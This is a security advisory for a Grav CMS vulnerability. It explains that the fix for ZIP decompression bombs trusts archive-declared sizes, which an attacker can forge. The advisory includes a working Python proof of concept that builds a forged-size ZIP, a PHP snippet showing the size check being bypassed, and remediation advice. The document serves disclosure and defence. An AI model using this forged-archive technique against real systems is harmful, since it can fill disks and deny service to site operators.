PT-2026-95068 · Packagist · Getgrav/Grav
CVE-2026-61841
·
Publicado
2026-09-17
·
Atualizado
2026-09-17
CVSS v3.1
6.5
Média
| Vetor | AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H |
Summary
The decompression-bomb bound added in 2.0.1 (commit 1c1003c) sums
ZipArchive::statIndex($i)['size'] and rejects an archive whose declared uncompressed total exceeds system.gpm.archive.max uncompressed size (default 1 GiB) before extracting (ZipArchiver.php:77-86; same logic in GPMInstaller::unZip at Installer.php:228-238). statIndex()['size'] is the uncompressed size declared in the ZIP central directory, which is attacker-forgeable and is not checked against the actual inflated stream. An archive declaring 1 byte per entry passes the cap while extractTo() writes the real (large) content. The entry-count and nesting-depth caps count real structure and still hold; only the size dimension is defeated, so the disk-fill / inode-exhaustion case the bound targets is not prevented. Incomplete fix for GHSA-928x-9mpw-8h56.Details
extract()/unZip() validate every entry up front, then call Folder::create + extractTo. The size check is:php
$totalSize += (int) $stat['size']; // declared central-directory size
if ($maxSize > 0 && $totalSize > $maxSize) { ... reject ... }$stat['size'] is read from the central directory, which the archive author writes. libzip does not cross-check declared-vs-actual size during extractTo, so a forged-small value passes the gate and the real stream inflates to disk. The max files (entry count) and max depth (entry-name segments) checks are not forgeable this way.PoC
Build a 10 KiB deflate ZIP of 10 MiB of zeros, patch both uncompressed-size fields (local header + central directory) to 1:
python
import zipfile, struct
data = b'x00' * (10*1024*1024)
with zipfile.ZipFile('bomb.zip','w',zipfile.ZIP DEFLATED) as z:
z.writestr('big.bin', data)
raw = bytearray(open('bomb.zip','rb').read())
raw = raw.replace(struct.pack('<I', 10*1024*1024), struct.pack('<I', 1))
open('bomb forged.zip','wb').write(raw)Drive the exact pre-extraction loop, then extract:
php
$zip = new ZipArchive(); $zip->open('bomb forged.zip');
$total = 0;
for ($i = 0; $i < $zip->count(); $i++) { $total += (int) $zip->statIndex($i)['size']; }
// => $total === 1 (what the 1 GiB bound checks: PASSES)
$zip->extractTo('/tmp/zout');
// => filesize('/tmp/zout/big.bin') === 10485760 (written despite the cap)Verified on Grav 2.0.1 (6f619f0ae), PHP 8.4.22, libzip 1.7.3.
Impact
A forged archive fills the disk / exhausts inodes during extraction. Reached via
GPMInstaller::unZip (gpm install / direct-install / self-upgrade) and admin backup restore (ZipArchiver::extract). The archive bytes come from a package source or an admin upload, so the actor sits at admin/operator trust and a consented malicious package already has worse primitives.Fix
ZipArchiver.php:77-86 and Installer.php:228-238: don't trust the declared size. Extract each entry through a counting stream (ZipArchive::getStream + fread loop) and abort once cumulative written bytes pass max uncompressed size, leaving nothing on disk; or check on-disk bytes incrementally during extraction. If the pre-pass stays, treat the declared-size sum as advisory and add the streamed byte counter as the real enforcement. max files and max depth remain effective.Correção
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Identificadores relacionados
Produtos afetados
Getgrav/Grav